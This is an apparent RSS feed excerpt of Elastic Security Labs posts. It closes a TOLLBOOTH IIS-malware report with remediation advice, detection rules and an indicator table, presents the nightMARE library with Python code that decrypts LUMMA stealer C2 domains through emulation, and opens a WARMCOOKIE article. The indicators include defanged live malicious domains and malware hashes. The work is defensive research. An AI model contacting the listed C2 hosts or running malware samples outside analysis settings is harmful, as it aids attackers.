<p>Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.</p>
<p>Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.</p>
<h3>Geography</h3>
<p>The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a <code>.co.uk</code> domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.</p>
<h3>Diamond model</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image22.png" alt="REF3927 Diamond Model" title="REF3927 Diamond Model" /></p>
<h2>Remediating REF3927</h2>
<p>Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.</p>
<p>Therefore, remediation must include rotation of machine keys to a new, <a href="https://support.winhost.com/kb/a1623/how-to-generate-a-machine-key-in-iis-manager.aspx">properly generated</a> key.</p>
<h2>Conclusion</h2>
<p>The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&amp;M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.</p>
<p>The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as <a href="https://www.elastic.co/pt/security/endpoint-security">Elastic Defend</a> during potential incidents.</p>
<h2>Detection logic</h2>
<h3>Detection rules</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_webshell_detection.toml">Web Shell Detection: Script Process Child of Common Web Processes</a></li>
</ul>
<h3>Prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Services</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_shellcode_injection_via_a_webshell.toml">Potential Shellcode Injection via a WebShell</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_execution_from_suspicious_directory.toml">Execution from Suspicious Directory</a></li>
</ul>
<h4>YARA signatures</h4>
<p>Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Tollbooth.yar">Windows.Trojan.Tollbooth</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenCli.yar">Windows.Trojan.HiddenCli</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenDriver.yar">Windows.Trojan.HiddenDriver</a></li>
</ul>
<h2>REF3927 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1190/">Exploit Public-Facing Application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server Software Component: IIS Components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/">OS Credential Dumping</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005/">Data from Local System</a></li>
<li><a href="https://attack.mitre.org/techniques/T1014/">Rootkit</a></li>
<li><a href="https://attack.mitre.org/techniques/T1078/">Valid Accounts</a></li>
</ul>
<h2>Observations</h2>
<p>The following <a href="https://github.com/elastic/labs-releases/tree/main/indicators/tollbooth">observables</a> were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>913431f1d36ee843886bb052bfc89c0e5db903c673b5e6894c49aabc19f1e2fc</code></td>
<td>SHA-256</td>
<td><code>WingtbCLI.exe</code></td>
<td>HIDDENCLI</td>
</tr>
<tr>
<td><code>f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1</code></td>
<td>SHA-256</td>
<td><code>Winkbj.sys</code></td>
<td>HIDDENDRIVER</td>
</tr>
<tr>
<td><code>c1ca053e3c346513bac332b5740848ed9c496895201abc734f2de131ec1b9fb2</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c348996e27fc14e3dce8a2a476d22e52c6b97bf24dd9ed165890caf88154edd2</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>82b7f077021df9dc2cf1db802ed48e0dec8f6fa39a34e3f2ade2f0b63a1b5788</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>bd2de6ca6c561cec1c1c525e7853f6f73bf6f2406198cd104ecb2ad00859f7d3</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>915441b7d7ddb7d885ecfe75b11eed512079b49875fc288cd65b023ce1e05964</code></td>
<td>SHA-256</td>
<td><code>CustomIISModule.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c[.]cseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH config server</td>
</tr>
<tr>
<td><code>f[.]fseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH SEO farming config server</td>
</tr>
<tr>
<td><code>api[.]aseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH crawler reporting &amp; page redirector API</td>
</tr>
<tr>
<td><code>mlxya[.]oss-accelerate.aliyuncs[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker payload hosting server</td>
</tr>
<tr>
<td><code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp.run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>bae5a7722814948fbba197e9b0f8ec5a6fe8328c7078c3adcca0022a533a84fe</code></td>
<td>SHA-256</td>
<td><code>1.aspx</code></td>
<td>Godzilla-forked webshell (Similar sample from VirusTotal)</td>
</tr>
<tr>
<td><code>230b84398e873938bbcc7e4a1a358bde4345385d58eb45c1726cee22028026e9</code></td>
<td>SHA-256</td>
<td><code>GotoHTTP.exe</code></td>
<td>GotoHTTP</td>
</tr>
<tr>
<td><code>Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</code></td>
<td>User-Agent</td>
<td></td>
<td>User-Agent observed during exploitation via IIS ViewState injection</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/</a></li>
<li><a href="https://asec.ahnlab.com/en/87804/">https://asec.ahnlab.com/en/87804/</a></li>
<li><a href="https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/">https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/</a></li>
<li><a href="https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters">https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters</a></li>
<li><a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">https://github.com/ekkoo-z/Z-Godzilla_ekp</a></li>
<li><a href="https://x.com/AzakaSekai_/status/1969294757978652947">https://x.com/AzakaSekai_/status/1969294757978652947</a></li>
</ul>
<h2>Addendum</h2>
<p>HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:</p>
<ul>
<li><a href="https://x.com/securechicken/status/1980715257791193420">https://x.com/securechicken/status/1980715257791193420</a></li>
<li><a href="https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/">https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/tollbooth.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[NightMARE on 0xelm Street, a guided tour]]></title>
            <link>https://www.elastic.co/pt/security-labs/nightmare-on-0xelm-street</link>
            <guid>nightmare-on-0xelm-street</guid>
            <pubDate>Tue, 14 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[This article describes nightMARE, a python-based library for malware researchers that was developed by Elastic Security Labs to help scale analysis. It describes how we use nightMARE to develop malware configuration extractors and carve out intelligence indicators.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Since the creation of Elastic Security Labs, we have focused on developing malware analysis tools to not only aid in our research and analysis, but also to release to the public. We want to give back to the community and give back as much as we get from it. In an effort to make these tools more robust and reduce code duplication, we created the Python library <a href="https://github.com/elastic/nightMARE">nightMARE</a>. This library brings together various useful features for reverse engineering and malware analysis. We primarily use it to create our configuration extractors for different widespread malware families, but nightMARE is a library that can be applied to multiple use cases.</p>
<p>With the release of version 0.16, we want to officially introduce the library and provide details in this article on some interesting features offered by this module, as well as a short tutorial explaining how to use it to implement your own configuration extractor compatible with the latest version of LUMMA (as of the post date).</p>
<h2>nightMARE features tour</h2>
<h3>Powered by Rizin</h3>
<p>To reproduce the capabilities of popular disassemblers, nightMARE initially used a set of Python modules to perform the various tasks necessary for static analysis. For example, we used <a href="https://github.com/lief-project/LIEF">LIEF</a> for executable parsing (PE, ELF), <a href="https://github.com/capstone-engine/capstone">Capstone</a> to disassemble binaries, and <a href="https://github.com/danielplohmann/smda">SMDA</a> to obtain cross-reference (xref) analysis.</p>
<p>These numerous dependencies made maintaining the library more complex than necessary. That's why, in order to reduce the use of third-party modules as much as possible, we decided to use the most comprehensive reverse engineering framework available. Our choice naturally gravitated towards Rizin.</p>
<p><a href="https://github.com/rizinorg/rizin">Rizin</a> is an open-source reverse engineering software, forked from the Radare2 project. Its speed, modular design, and almost infinite set of features based on its Vim-like commands make it an excellent backend choice. We integrated it into the project using the <a href="https://github.com/rizinorg/rz-pipe">rz-pipe</a> module, which makes it very easy to create and instrument a Rizin instance from Python.</p>
<h3>Project structure</h3>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image12.png" alt="Project structure" /></p>
<p>The project is structured along three axes:</p>
<ul>
<li>The &quot;analysis&quot; module contains sub-modules useful for static analysis.</li>
<li>The &quot;core&quot; module contains commonly useful sub-modules: bitwise operations, integer casting, and recurring regexes for configuration extraction.</li>
<li>The &quot;malware&quot; module contains all algorithm implementations (crypto, unpacking, configuration extraction, etc.), grouped by malware family and, when applicable, by version.</li>
</ul>
<h3>Analysis modules</h3>
<p>For static binary analysis, this module offers two complementary working techniques: disassembly and instruction analysis with Rizin via the reversing module, and instruction emulation via the emulation module.</p>
<p>For example, when constants are manually moved onto the stack, instead of trying to analyze the instructions one by one to retrieve the immediates, it is possible to emulate the entire piece of code and read the data on the stack once the processing is done.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image6.png" alt="LUMMA manually pushes Steam profile data for decryption" /></p>
<p>Another example that we will see later in this article is that, in the case of cryptographic functions, if it is complex, it is often simpler to directly call it in the binary using emulation than to try to implement it manually.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image10.png" alt="Calling LUMMA C2 decryption function" /></p>
<h4>Reversing module</h4>
<p>This module contains the Rizin class, which is an abstraction of Rizin's functionalities that send commands directly to Rizin thanks to <code>rz-pipe</code> and offers the user an incredible amount of analysis power for free. Because it’s an abstraction, the functions that the class exposes can be easily used in a script without prior knowledge of the framework.</p>
<p>Although this class exposes a lot of different features, we are not trying to be exhaustive. The goal is to reduce duplicated code for recurring functionalities across all our tools. However, if a user finds that a function is missing, they can directly interact with the <code>rz-pipe</code> object to send commands to Rizin and achieve their goals.</p>
<p>Here is a short list of the functions we use the most:</p>
<pre><code class="language-py"># Disassembling
def disassemble(self, offset: int, size: int) -&gt; list[dict[str, typing.Any]]
def disassemble_previous_instruction(self, offset: int) -&gt; dict[str, typing.Any]
def disassemble_next_instruction(self, offset: int) -&gt; dict[str, typing.Any]

# Pattern matching
def find_pattern(
    self, 
    pattern: str,
    pattern_type: Rizin.PatternType) -&gt; list[dict[str, typing.Any]]
def find_first_pattern(
    self,
    patterns: list[str],
    pattern_type: Rizin.PatternType) -&gt; int

# Reading bytes
def get_data(self, offset: int, size: int | None = None) -&gt; bytes
def get_string(self, offset: int) -&gt; bytes

# Reading words
def get_u8(self, offset: int) -&gt; int
...
def get_u64(self, offset: int) -&gt; int

# All strings, functions
def get_strings(self) -&gt; list[dict[str, typing.Any]]
def get_functions(self) -&gt; list[dict[str, typing.Any]]

# Xrefs
def get_xrefs_from(self, offset: int) -&gt; list
def get_xrefs_to(self, offset: int) -&gt; list[int]
</code></pre>
<h4>Emulation module</h4>
<p>In version 0.16, we reworked the emulation module to take full advantage of Rizin's capabilities to perform its various data-related tasks. Under the hood, it’s using the <a href="https://www.unicorn-engine.org/">Unicorn engine</a> to perform emulation.</p>
<p>For now, this module only offers a &quot;light&quot; PE emulation with the class WindowsEmulator, light in the sense that only the strict minimum is done to load a PE. No relocations, no DLLs, no OS emulation. The goal is not to completely emulate a Windows executable like <a href="https://github.com/qilingframework/qiling">Qiling</a> or <a href="https://github.com/momo5502/sogen">Sogen</a>, but to offer a simple way to execute code snippets or short sequences of functions while knowing its limitations.</p>
<p>The WindowsEmulator class offers several useful abstractions.</p>
<pre><code class="language-py"># Load PE and its stack
def load_pe(self, pe: bytes, stack_size: int) -&gt; None

# Manipulate stack
def push(self, x: int) -&gt; None
def pop(self) -&gt; int

# Simple memory management mechanisms
def allocate_memory(self, size: int) -&gt; int
def free_memory(self, address: int, size: int) -&gt; None

# Direct ip and sp manipulation
@property
def ip(self) -&gt; int
@property
def sp(self) -&gt; int

# Emulate call and ret
def do_call(self, address: int, return_address: int) -&gt; None
def do_return(self, cleaning_size: int = 0) -&gt; None

# Direct unicorn access
@property
def unicorn(self) -&gt; unicorn.Uc
</code></pre>
<p>The class allows the registration of two types of hooks: normal unicorn hooks and IAT hooks.</p>
<pre><code class="language-py"># Set unicorn hooks, however the WindowsEmulator instance get passed to the callback instead of unicorn
def set_hook(self, hook_type: int, hook: typing.Callable) -&gt; int:

# Set hook on import call
def enable_iat_hooking(self) -&gt; None:
def set_iat_hook(
        self,
        function_name: bytes,
        hook: typing.Callable[[WindowsEmulator, tuple, dict[str, typing.Any]], None],
) -&gt; None:
</code></pre>
<p>As a usage example, we use the Windows binary <a href="https://www.virustotal.com/gui/file/e36bcf02bc11f560761e943d0fad37417078f6cbb473f85c72fcbc89e2600c58"><code>DismHost.exe</code></a> .</p>
<p>The binary uses the Sleep import at address <code>0x140006404</code>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image3.png" alt="DimHost.exe calls Kernel32 Sleep +0x6404" /></p>
<p>We will therefore create a script that registers an IAT hook for the Sleep import, starts the emulation execution at address <code>0x140006404</code>, and ends at address <code>0x140006412</code>.</p>
<pre><code class="language-py"># coding: utf-8

import pathlib

from nightMARE.analysis import emulation


def sleep_hook(emu: emulation.WindowsEmulator, *args) -&gt; None:
    print(
        &quot;Sleep({} ms)&quot;.format(
            emu.unicorn.reg_read(emulation.unicorn.x86_const.UC_X86_REG_RCX)
        ),
    )
    emu.do_return()


def main() -&gt; None:
    path = pathlib.Path(r&quot;C:\Windows\System32\Dism\DismHost.exe&quot;)
    emu = emulation.WindowsEmulator(False)
    emu.load_pe(path.read_bytes(), 0x10000)
    emu.enable_iat_hooking()
    emu.set_iat_hook(&quot;KERNEL32.dll!Sleep&quot;, sleep_hook)
    emu.unicorn.emu_start(0x140006404, 0x140006412)


if __name__ == &quot;__main__&quot;:
    main()

</code></pre>
<p>It is important to note that the hook function must necessarily return with the <code>do_return</code> function so that we can reach the address located after the call.</p>
<p>When the emulator starts, our hook is correctly executed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image1.png" alt="Sleep hook execution" /></p>
<h3>Malware module</h3>
<p>The malware module contains all the algorithm implementations for each malware family we cover. These algorithms can cover configuration extraction, cryptographic functions, or sample unpacking, depending on the type of malware. All these algorithms use the functionalities of the analysis module to do their job and provide good examples of how to use the library.</p>
<p>With the release of v0.16, here are the different malware families that we cover.</p>
<pre><code>blister
deprecated
ghostpulse
latrodectus
lobshot
lumma
netwire
redlinestealer
remcos
smokeloader
stealc
strelastealer
xorddos
</code></pre>
<p>The complete implementation of the LUMMA algorithms we cover in the next chapter tutorial can be found under the LUMMA sub-module.</p>
<p>Please take note that the rapidly evolving nature of malware makes maintaining these modules difficult, but we welcome any help to the project, direct contribution, or opening issues.</p>
<h2>Example: LUMMA configuration-extraction</h2>
<p>LUMMA STEALER, also known as LUMMAC2, is an information-stealing malware still widely used in infection campaigns despite a recent takedown operation in May 2025. This malware incorporates control flow obfuscation and data encryption, making it more challenging to analyze both statically and dynamically.</p>
<p>In this section, we will use the following unencrypted sample as reference: <a href="https://www.virustotal.com/gui/file/26803ff0e079e43c413e10d9a62d344504a134d20ad37af9fd3eaf5c54848122">26803ff0e079e43c413e10d9a62d344504a134d20ad37af9fd3eaf5c54848122</a></p>
<p>We do a short analysis of how it decrypts its domain names step by step, and then demonstrate along the way how we build the configuration extractor using nightMARE.</p>
<h3>Step 1: Initializing the ChaCha20 context</h3>
<p>In this version, LUMMA performs the initialization of its cryptographic context after loading <code>WinHTTP.dll</code>, with the decryption key and nonce; this context will be reused for each call to the <code>ChaCha20</code> decryption function without being reinitialized. The nuance here is that an internal counter within the context is updated with each use, so later we’ll need to take into account the value of this counter before the first domain decryption and then decrypt them in the correct order.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image2.png" alt="" /><br />
<img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image8.png" alt="LUMMA initialize its ChaCha20 context with key and nonce +0xDC0D" /></p>
<p>To reproduce this step in our script, we need to collect the key and nonce. The problem is that we don't know their location in advance, but we know where they are used. We pattern match this part of the code, then extract the addresses <code>g_key_0 (key)</code> and <code>g_key_1 (nonce)</code> from the instructions.</p>
<pre><code class="language-py">CRYPTO_SETUP_PATTERN = &quot;b838?24400b???????00b???0???0096f3a5&quot;

def get_decryption_key_and_nonce(binary: bytes) -&gt; tuple[bytes, bytes]:
    # Load the binary in Rizin
    rz = reversing.Rizin.load(binary)

    # Find the virtual address of the pattern
    if not (
        x := rz.find_pattern(
            CRYPTO_SETUP_PATTERN, reversing.Rizin.PatternType.HEX_PATTERN
        )
    ):
        raise RuntimeError(&quot;Failed to find crypto setup pattern virtual address&quot;)

    # Extract the key and nonce address from the instruction second operand
    crypto_setup_va = x[0][&quot;address&quot;]
    key_and_nonce_address = rz.disassemble(crypto_setup_va, 1)[0][&quot;opex&quot;][&quot;operands&quot;][
        1
    ][&quot;value&quot;]

    # Return the key and nonce data
    return rz.get_data(key_and_nonce_address, CHACHA20_KEY_SIZE), rz.get_data(
        key_and_nonce_address + CHACHA20_KEY_SIZE, CHACHA20_NONCE_SIZE
    )

def build_crypto_context(key: bytes, nonce: bytes, initial_counter: int) -&gt; bytes:
    crypto_context = bytearray(0x40)
    crypto_context[0x10:0x30] = key
    crypto_context[0x30] = initial_counter
    crypto_context[0x38:0x40] = nonce
    return bytes(crypto_context)
</code></pre>
<h3>Step 2: Locate the decryption function</h3>
<p>In this version, LUMMA's decryption function is easily located across samples as it is utilized immediately after loading WinHTTP imports.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image5.png" alt="LUMMA calls for the first time the decryption function +0xdd82" /></p>
<p>We derive the hex pattern from the first bytes of the function to locate it in our script:</p>
<pre><code class="language-py">DECRYPTION_FUNCTION_PATTERN = &quot;5553575681ec1?0100008b??243?01000085??0f84??080000&quot;

def get_decryption_function_address(binary) -&gt; int:
    # A cache system exist so the binary is only loaded once, then we get the same instance of Rizin :)
    if x := reversing.Rizin.load(binary: bytes).find_pattern(
        DECRYPTION_FUNCTION_PATTERN, reversing.Rizin.PatternType.HEX_PATTERN
    ):
        return x[0][&quot;address&quot;]
    raise RuntimeError(&quot;Failed to find decryption function address&quot;)
</code></pre>
<h3>Step 3: Locate the encrypted domain's base address</h3>
<p>By using xrefs from the decryption function, which is not called with obfuscated indirection like other LUMMA functions, we can easily find where it is called to decrypt the domains.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image7.png" alt="LUMMA domain decryption location +0xF468" /></p>
<p>As with the first step, we will use the instructions to discover the base address of the encrypted domains in the binary:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image11.png" alt="LUMMA loads domain base address in the eax register +0xF476" /></p>
<pre><code class="language-py">C2_LIST_MAX_LENGTH = 0xFF
C2_SIZE = 0x80
C2_DECRYPTION_BRANCH_PATTERN = &quot;8d8?e0?244008d7424??ff3?565?68????4500e8????ffff&quot;

def get_encrypted_c2_list(binary: bytes) -&gt; list[bytes]:
    rz = reversing.Rizin.load(binary)
    address = get_encrypted_c2_list_address(binary)
    encrypted_c2 = []
    for ea in range(address, address + (C2_LIST_MAX_LENGTH * C2_SIZE), C2_SIZE):
        encrypted_c2.append(rz.get_data(ea, C2_SIZE))
    return encrypted_c2


def get_encrypted_c2_list_address(binary: bytes) -&gt; int:
    rz = reversing.Rizin.load(binary)
    if not len(
        x := rz.find_pattern(
            C2_DECRYPTION_BRANCH_PATTERN, reversing.Rizin.PatternType.HEX_PATTERN
        )
    ):
        raise RuntimeError(&quot;Failed to find c2 decryption pattern&quot;)

    c2_decryption_va = x[0][&quot;address&quot;]
    return rz.disassemble(c2_decryption_va, 1)[0][&quot;opex&quot;][&quot;operands&quot;][1][&quot;disp&quot;]
</code></pre>
<h3>Step 4: Decrypt domains using emulation</h3>
<p>A quick analysis of the decryption function shows that this version of LUMMA uses a slightly customized version of <code>ChaCha20</code>. We recognize the same small and diverse decryption functions scattered throughout the binaries. Here, they are used to decrypt parts of the <code>ChaCha20</code> &quot;expand 32-byte k&quot; constant, which are then XOR-ROL derived before being stored in the context structure.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image4.png" alt="LUMMA decrypting/reencrypting the “expand 32-byte k” constant +0xC6CE" /></p>
<p>While we could implement the decryption function in our script, we have all the necessary addresses to demonstrate how we can directly call the function already present in the binary to decrypt our domains, using nightMARE's emulation module.</p>
<pre><code class="language-py"># We need the right initial value, before decrypting the domain
# the function is already called once so 0 -&gt; 2
CHACHA20_INITIAL_COUNTER = 2

def decrypt_c2_list(
    binary: bytes, encrypted_c2_list: list[bytes], key: bytes, nonce: bytes
) -&gt; list[bytes]:
    # Get the decryption function address (step 2)
    decryption_function_address = get_decryption_function_address(binary)

    # Load the emulator, True = 32bits
    emu = emulation.WindowsEmulator(True)
 
    # Load the PE in the emulator with a stack of 0x10000 bytes
    emu.load_pe(binary, 0x10000)
    
    # Allocate the chacha context
    chacha_ctx_address = emu.allocate_memory(CHACHA20_CTX_SIZE)
    
    # Write at the chacha context address the crypto context
    emu.unicorn.mem_write(
        chacha_ctx_address,
        build_crypto_context(
            key,
            nonce,
            CHACHA20_INITIAL_COUNTER, 
        ),
    )

    decrypted_c2_list = []
    for encrypted_c2 in encrypted_c2_list:
	 # Allocate buffers
        encrypted_buffer_address = emu.allocate_memory(C2_SIZE)
        decrypted_buffer_address = emu.allocate_memory(C2_SIZE)
        
        # Write encrypted c2 to buffer
        emu.unicorn.mem_write(encrypted_buffer_address, encrypted_c2)

        # Push arguments
        emu.push(C2_SIZE)
        emu.push(decrypted_buffer_address)
        emu.push(encrypted_buffer_address)
        emu.push(chacha_ctx_address)
 
        # Emulate a call
        emu.do_call(decryption_function_address, emu.image_base)

        # Fire!
        emu.unicorn.emu_start(decryption_function_address, emu.image_base)

        # Read result from decrypted buffer
        decrypted_c2 = bytes(
            emu.unicorn.mem_read(decrypted_buffer_address, C2_SIZE)
        ).split(b&quot;\x00&quot;)[0]

        # If result isn't printable we stop, no more domain
        if not bytes_re.PRINTABLE_STRING_REGEX.match(decrypted_c2):
            break

        # Add result to the list
        decrypted_c2_list.append(b&quot;https://&quot; + decrypted_c2)

        # Clean up the args
        emu.pop()
        emu.pop()
        emu.pop()
        emu.pop()

        # Free buffers
        emu.free_memory(encrypted_buffer_address, C2_SIZE)
        emu.free_memory(decrypted_buffer_address, C2_SIZE)

       # Repeat for the next one ...

    return decrypted_c2_list
</code></pre>
<h3>Result</h3>
<p>Finally, we can run our module with <code>pytest</code> and view the LUMMA C2 list (<code>decrypted_c2_list</code>):</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image9.png" alt="Pytest execution result" /></p>
<pre><code>https://mocadia[.]com/iuew  
https://mastwin[.]in/qsaz  
https://ordinarniyvrach[.]ru/xiur  
https://yamakrug[.]ru/lzka  
https://vishneviyjazz[.]ru/neco  
https://yrokistorii[.]ru/uqya  
https://stolevnica[.]ru/xjuf  
https://visokiykaf[.]ru/mntn  
https://kletkamozga[.]ru/iwqq 
</code></pre>
<p>This example highlights how the nightMARE library can be used for binary analysis, specifically, for extracting the configuration from the LUMMA stealer.</p>
<h2>Download nightMARE</h2>
<p>The complete implementation of the code presented in this article is <a href="https://github.com/elastic/nightMARE/blob/main/nightMARE/malware/lumma/configuration.py">available here</a>.</p>
<h2>Conclusion</h2>
<p>nightMARE is a versatile Python module, based on the best tools the open source community has to offer. With the release of version 0.16 and this short article, we hope to have demonstrated its capabilities and potential.</p>
<p>Internally, the project is at the heart of various even more ambitious projects, and we will continue to maintain nightMARE to the best of our abilities.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/Security Labs Images 31.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[WARMCOOKIE One Year Later: New Features and Fresh Insights]]></title>
            <link>https://www.elastic.co/pt/security-labs/revisiting-warmcookie</link>
            <guid>revisiting-warmcookie</guid>
            <pubDate>Wed, 01 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[A year later: Elastic Security Labs re-examines the WARMCOOKIE backdoor.]]></description>
            <content:encoded><![CDATA[<h2>Revisiting WARMCOOKIE</h2>
<p>Elastic Security Labs continues to track developments in the WARMCOOKIE codebase, uncovering new infrastructure tied to the backdoor. Since our original <a href="https://www.elastic.co/pt/security-labs/dipping-into-danger">post</a>, we have been observing ongoing updates to the code family and continued activity surrounding the backdoor, including new infections and its use with emerging loaders. A recent <a href="https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation">finding</a> by the IBM X-Force team highlighted a new Malware-as-a-Service (MaaS) loader, dubbed CASTLEBOT, distributing WARMCOOKIE.</p>
<p>In this article, we will review new features added to WARMCOOKIE since its initial publication. Following this, we’ll present the extracted configuration information from various samples.</p>
<h2>Key takeaways</h2>
<ul>
<li>The WARMCOOKIE backdoor is actively developed and distributed</li>
